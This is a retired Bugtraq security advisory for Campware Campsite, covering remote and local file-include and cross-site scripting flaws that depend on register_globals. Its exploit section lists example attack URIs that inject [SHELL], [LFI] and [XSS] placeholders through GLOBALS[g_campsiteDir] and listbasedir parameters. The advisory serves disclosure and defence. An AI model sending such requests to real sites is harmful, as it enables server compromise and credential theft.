RETIRED: Campsite Multiple Remote Input Validation Vulnerabilities

Bugtraq ID:	35456
Class:	Input Validation Error
CVE:	CVE-2009-2181 CVE-2009-2182 CVE-2009-2183
Remote:	Yes
Local:	No
Published:	Jun 22 2009 12:00AM
Updated:	Aug 21 2009 03:57PM
Credit:	CraCkEr
Vulnerable:	Campware Campsite 2.6.2 Campware Campsite 2.6.1 Campware Campsite 3.3.0 RC1
Not Vulnerable:

RETIRED: Campsite Multiple Remote Input Validation Vulnerabilities

Campsite is prone to multiple vulnerabilities, including cross-site scripting as well as local and remote file-include issues.

A remote attacker can exploit these issues to obtain cookie-based authentication credentials or other sensitive information or to execute malicious PHP code in an unsuspecting user's browser in the context of the affected site or of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

NOTE: This BID is being retired. The issues described require the 'register_globals' PHP directive to be enabled, but the application's documentation instructs users to disable this directive.

Campsite 3.3.0 RC1 is vulnerable; other versions may also be affected.

RETIRED: Campsite Multiple Remote Input Validation Vulnerabilities

An attacker can exploit these issues via a browser. To exploit the cross-site scripting issue, the attacker must entice a user to follow a malicious link.

The following example URIs are available:

Remote file include:

http://www.example.com/path/implementation/site/admin-files/ad_popup.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/camp_html.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/init_content.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/logout.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/menu.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/set-author.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/conf/liveuser_configuration.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/include/phorum_load.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/article_import/CommandProcessor.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/article_import/index.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/articles/add.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/articles/add_move.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/articles/autopublish.php?GLOBALS[g_campsiteDir]=[SHELL]
http://www.example.com/path/implementation/site/admin-files/articles/autopublish_del.php?GLOBALS[g_campsiteDir]=[SHELL]

Local file include:

http://www.example.com/path/implementation/site/admin-files/ad.php?GLOBALS[g_campsiteDir]=[LFI]

Cross-site scripting:

http://www.example.com/path/implementation/site/admin-files/templates/list_dir.php?listbasedir=[XSS]

RETIRED: Campsite Multiple Remote Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

RETIRED: Campsite Multiple Remote Input Validation Vulnerabilities

References:

• Campsite Manual v3.3 : 2.2.2. Setup your php.ini file (Campware)
  
• Vendor Homepage (Campware)